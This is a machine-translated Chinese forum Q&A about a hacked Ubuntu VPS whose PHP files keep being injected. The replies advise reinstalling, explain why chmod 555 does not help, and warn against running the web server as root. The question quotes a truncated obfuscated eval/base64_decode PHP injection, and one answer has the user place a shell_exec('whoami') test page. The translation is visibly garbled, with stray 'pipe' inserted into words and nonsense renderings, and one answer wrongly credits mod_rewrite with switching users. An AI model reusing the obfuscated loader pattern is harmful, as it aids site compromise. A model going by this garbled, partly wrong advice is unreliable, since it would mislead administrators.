我使用Vesta和PHP运行Ubuntu 12.04 x64 VPS。 它被注入了几次,如下所示:
<?php $KoDgalxVvsZfidVcEOTJDeMX='ba'.'se6'.'4_deco'.'de';eval($KoDgalxVvsZfidVcEOTJDeMX("cHJlZ19yZXBsYWNlKCIvN0xna0xnND1IR2JEOGs2WDht....
为了解决这个问题,我决定把所有文件的权限和所有者更改为555和root,所以没有用户可以更改这些文件。 我删除了FTP访问并保护了SSH,因此只有VPS中的密钥才能连接。
尽pipe进行了所有这些更改,但其他用户始终能够更改文件,重命名文件夹并上传另一个被黑客入侵的文件。
你觉得我错过了什么? 任何build议? 谢谢! 如果您需要了解更多关于这个问题的信息,我会很乐意分享,帮助其他同样患上邪恶的人!
攻击者得到了你的系统的根。 根本不能相信系统上的任何东西。 rootkit可以完成的范围非常广泛。
如果您在某处备份了您的内容,请使用它们。 否则,你可以希望攻击者不要搞乱你的数据。 转储您的SQL表,并将其与您的其他东西(jpgs,pdfs,html,但不是任何脚本/ PHP /任何其他将被执行的东西)一起复制。 将其复制到另一个系统,或者将其下载到您的家庭计算机(如果它足够小,以便能够再次上载)。
尽你所能去确认你所复制的东西还是可以的。 (比如检查jpgs仍然是有效的jpgs,以防万一,也许在它们上面运行病毒扫描程序?)
吹走妥协的安装。 如果你的服务器托pipe在一个典型的托pipe服务上,那么希望他们有一些东西,所以你有一个控制面板,即使在主机上也不能搞乱。 所以你可以希望攻击者没有设法触摸他们所损害的机器以外的东西。 (如果你可以无密码地访问在这台机器上设置的任何东西,请检查它们。)
做任何你必须做的全新安装。 不妨迁移到Ubuntu 14.04 LTS,因为无论如何您必须重新安装。
不要将受感染系统中的任何代码复制到新系统中。 所有来自受损系统的数据都应该被视为潜在的鼠疫载体。
Unix文件系统语义要求在目录上有写权限来删除文件。 (文件名是从一个名字到一个inode的链接,系统调用硬link(2)文件的其他名字)是link(2) ,并且删除一个文件的调用是unlink(2) 。)
如果sticky位设置在目录( chmod +t )上, unlink(2)和rename(2)也要求调用者拥有文件以取消链接或重命名。 (不pipe文件的写入权限)。 它是/tmp和/var/tmp的标准,是1777 (世界上可写的粘滞位设置)。
rm ,shell命令,在断开只读文件之前, POSIX需要提示,但是必须检查这种情况。 除了unlink(2)就像其他任何文件一样,它实际上不需要做任何事情。 所以不要被愚蠢地认为这对对手有任何影响。
所有这些与防御攻击都不相关,因为最有可能的情况是获得对您的Web服务器进程的控制权,或者是用一个用户标识符运行的其他东西,这些用户标识符对许多事情都有写权限。
越是限制那些必须处理来自Internet的数据的进程,攻击者越难控制你的httpd来修改数据或控制整个机器。
这就是为什么你不应该以root身份运行Apache。
如果可以避免这种情况,则不应以root用户身份运行Web服务器进程,因为这意味着Web服务中任何漏洞的危害都将彻底危害服务器。
现在,我build议从头开始一个新的服务器 – 攻击者可以通过许多方法给自己持久的根访问权限。 在这里看到更多的信息。
尽pipe进行了所有这些更改,但其他用户始终能够更改文件,重命名文件夹并上传另一个被黑客入侵的文件。
如果您的Web根目录由运行Web服务器的同一用户拥有,那么这些父目录权限将覆盖对子文件和目录设置的所有权限。
例如,在您拥有的任何目录中打开“terminal”进程。 现在创build一个名为zzz_test.txt的文件,如下所示:
touch zzz_foo.txt
现在检查这个文件:
ls -la zzz_foo.txt
权限 – 在我的情况下,看起来像这样:
-rw-r--r-- 1 jake staff 0 Feb 23 19:11 zzz_foo.txt
然后我运行这样的chmod :
chmod 555 zzz_foo.txt
现在再次运行ls -la ,结果如下所示:
-r-xr-xr-x 1 jake staff 0 Feb 23 19:11 zzz_foo.txt
好的,权限被改变了。 那么让我们做一些“疯狂”的事情,就像试图删除它:
rm zzz_foo.txt
答复是:
override r-xr-xr-x jack/staff for zzz_foo.txt?
然后简单地按y ,然后按回车和中提琴! 文件不见了
这就是为什么简单地更改文件权限永远不会成为保护Web服务器的有效方法。 Web服务器工作方式的简单特性 – 尤其是如果它基于PHP时 – 意味着Web服务器用户将始终具有对需要访问的文件的读取和写入访问权限。 因此,简单地进行chmod 555 [some files]是“防御”自己以抵御恶意软件和黑客攻击的无效方法。
至于你现在可以做什么? 那么,简单地改变权限和所有权就什么也不加。 更大的问题是您的PHP代码库容易受到攻击。 所以清理这种东西的唯一有效方法是清理你的PHP代码。 如果这个网站是基于像Joomla!,WordPress或CakePHP这样的固定框架,那么最好的方法就是升级核心的Joomla!,WordPress或者CakePHP框架来插入安全保留。 同样的,如果有一个Joomla!,WordPress或者CakePHP插件容易受到攻击,那么该插件应该被升级/打补丁插入洞中。
最后,您的核心系统软件(假设它是一个LAMP(Linux Apache MySQL PHP)堆栈)应该保持最新并修补。
在一天结束的时候,网站安全不仅仅是一次性的事情。 这是一个必须坚持的整体心态和维护过程。 否则,当您的网站遭到黑客入侵时,您将在试图清理混乱的后果中毫无头绪,实际上可能比最初的恶意软件侵入本身造成更多的损害。
我同意重新启动服务器选项,但是如果您想要更多的安全性和控制权,专用的服务器是一个更好的主意。
至于你的情况,我build议的第一件事是禁用除了shell访问以外的每个正在运行的服务。 这意味着停止FTP服务,networking服务器(HTTP),电子邮件等等。接下来进入shell并导航到包含您声称被黑名单的文件夹。 然后input:
ls -al
结果中应该看到类似于以下内容的内容:
drwxrwxrwx 2 root root 4096 2014-10-10 00:31 ./
如果第四项(或特别是第三项)实际上是“root”,那么你就陷入了困境,你需要重做你的web服务器configuration,以便根据文件夹以不同的用户执行一些事情。 你应该看看Apache的mod_rewrite(或类似的),然后相应地调整你的Apacheconfiguration文件(httpd.conf),以便系统在每个请求到文件夹时更改用户名。 然后相应地更改文件夹的用户名和组名。
一旦解决了,然后导航到文档根文件夹(可能是public_html),使用编辑器(pico works)并input以下内容:
<?php echo shell_exec("whoami"); ?>
然后将其保存为who.php。 接下来打开网页服务器,在任何浏览器中,转到您的网站主页,但添加who.php到结尾,您应该只能看到一个字在屏幕上。 如果这个词是根源,那么你陷入了深重的困境,需要再次采取上述步骤。 如果这个词是没有人,那么你有点麻烦,因为黑客知道用户名非常好。